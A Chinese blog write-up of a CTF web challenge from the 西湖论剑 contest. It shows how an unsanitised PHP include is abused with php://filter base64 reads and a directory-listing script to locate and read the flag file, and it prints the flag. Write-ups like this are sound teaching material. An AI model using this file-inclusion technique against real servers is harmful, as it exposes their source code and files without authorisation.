西湖论剑web 3题解析

用户2700375

发布于 2022-06-09 14:14:56

2360

发布于 2022-06-09 14:14:56

文章被收录于专栏：很菜的web狗

西湖论剑的题目前些天没有做今天西湖论剑的题目重新放了出来可以复现了

故来做一下web题目题目质量较高

babyt3

打开题目连接看到一个类似博客界面都不是重点重点是看到了

include $_GET['file']

看到这突然想到题目考查的应该是文件包含相关知识

故试一下

http://61.164.47.198:10000/?file=php://filter/convert.base64-encode/resource=index.php

两端base64加密的内容第一段为index.php加密后的内容

base解密后为

<?php
$a = @$_GET['file'];
if (!$a) {
	$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
	die('nonono');
}
include $a;
?>

<!--hint: ZGlyLnBocA== -->

貌似用处不大不过第二段的

解密后为dir.php

访问一下

http://61.164.47.198:10000/dir.php

接下来利用文件包含包含dir.php这个文件。

http://61.164.47.198:10000/?file=php://filter/convert.base64-encode/resource=dir.php

base64解密后得到 dir.php源码

<?php
$a = @$_GET['dir']; //dir通过接收数据并复制给变量a
if(!$a){ 
$a = '/tmp';	//默认a的路径
}
var_dump(scandir($a)); //列出指定路径中的文件和目录

也就是说dir.php可以读取你输入的目录并展示目录下的所有文件

自己想的是如果我输入某目录就会展示出目录下所有文件文件夹名之后我是不是可以利用文件包含读取任意文件的内容呢？？

经过测试发现ffffflag_is_Her4文件

估计flag在文件内

利用文件包含读取内容

果然发现flag

flag{8dc25fd21c52958f777ce92409e2802a}

本文参与腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。

原始发表：2019-04-11，如有侵权请联系 cloudcommunity@tencent.com 删除

php

本文分享自作者个人站点/博客前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

php

登录后参与评论

0 条评论

热度